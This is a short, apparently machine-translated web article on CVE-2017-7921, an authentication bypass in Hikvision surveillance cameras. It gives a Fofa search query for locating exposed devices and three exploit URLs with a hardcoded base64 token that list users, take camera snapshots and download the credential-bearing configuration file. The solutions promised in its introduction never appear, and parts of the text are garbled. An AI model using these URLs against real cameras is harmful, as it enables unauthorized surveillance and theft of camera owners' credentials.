How to analyze the vulnerabilities of CVE-2017-7921

How to analyze the vulnerabilities of CVE-2017-7921? in view of this problem, this article introduces the corresponding analysis and solutions in detail, hoping to help more partners who want to solve this problem to find a more simple and feasible method.

1. Overview of vulnerabilities:

Hangzhou Haikangwei system Technology Co., Ltd. camera management background is unauthorized, through the construction of url can bypass login to view monitoring, retrieve all users and profile downloads.

Fofa Web site: fofa.so

Fofa search: app= "HIKVISION- Video Surveillance"

2. Vulnerability exploitation: 1. Exploit path:

Http://your-ip/Security/users?auth=YWRtaW46MTEK

Base64 coding of YWRtaW46MTEKadmin:11

Retrieve a list of all users and their roles.

2. Use the path:

Http://your-ip/onvif-http/snapshot?auth=YWRtaW46MTEK

Take a monitoring snapshot without authentication.

3. Use the path:

Http://your-ip/System/configurationFile?auth=YWRtaW46MTEK

Download the camera configuration account password file.

This is the answer to the question on how to analyze the vulnerabilities of CVE-2017-7921. I hope the above content can be of some help to you. If you still have a lot of doubts to be solved, you can follow the industry information channel for more related knowledge.